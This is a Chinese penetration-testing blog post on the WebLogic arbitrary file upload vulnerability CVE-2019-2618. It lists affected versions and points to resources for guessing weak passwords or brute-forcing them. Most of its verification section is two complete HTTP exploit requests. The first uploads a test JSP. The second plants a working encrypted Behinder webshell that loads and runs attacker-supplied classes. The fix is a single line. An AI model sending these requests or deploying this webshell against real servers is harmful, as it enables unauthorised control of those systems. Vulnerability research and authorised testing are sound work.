Weblogic任意文件上传漏洞(CVE-2019-2618)

2022-11-18 17:26:17 浏览数 (1)

前言

持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。

0x01 漏洞描述

- Weblogic任意文件上传漏洞(CVE-2019-2618) -

Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。Oracle Weblogic Server组件的DeploymentService接口支持向服务器上传任意文件。攻击者绕过OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而控制服务器权限,影响数据的可用性、保密性和完整性。

影响版本:

  • Oracle Weblogic Server 12.2.1.3
  • Oracle Weblogic Server 12.1.3.0
  • Oracle Weblogic Server 10.3.6.0

0x02 漏洞等级

0x03 漏洞验证

使用WeblogicScaner工具检测目标网站存在CVE-2019-2618漏洞的利用模块。

该漏洞利用的前提是需要知道Weblogic的账号密码,可以尝试Weblogic常用弱口令,或者使用web-brutator工具爆破账号密码。

  • Weblogic常用弱口令: http://cirt.net/passwords?criteria=Weblogic
  • web-brutator工具:https://github.com/koutto/web-brutator

注意:Weblogic多次登录失败有账号锁定策略,即使爆破成功后输入正确账号密码也可能会提示“验证被拒绝”,需要等待半小时自动解锁,之后再尝试登录即可。

发送如下数据包,文件写入成功后会返回上传地址。

代码语言:javascript复制
POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: www.luckysec.cn:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: Weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: ../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
serverName: Weblogic
password: Oracle@123
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 218

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"
Content-Type: false

<%
        out.print("123456"); 
%>

------WebKitFormBoundary7MA4YWxkTrZu0gW--

访问上传文件地址验证漏洞利用成功。

代码语言:javascript复制
http://www.luckysec.cn:7001/bea_wls_internal/shell.jsp

发送如下数据包,可写入冰蝎webshell获取服务器权限。

代码语言:javascript复制
POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: www.luckysec.cn:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: Weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: ../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
serverName: Weblogic
password: Oracle@123
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 218

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"
Content-Type: false

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

------WebKitFormBoundary7MA4YWxkTrZu0gW--

使用冰蝎工具远程连接webshell成功。

0x04 漏洞修复

  1. 目前厂商已发布升级补丁以修复漏洞。

0 人点赞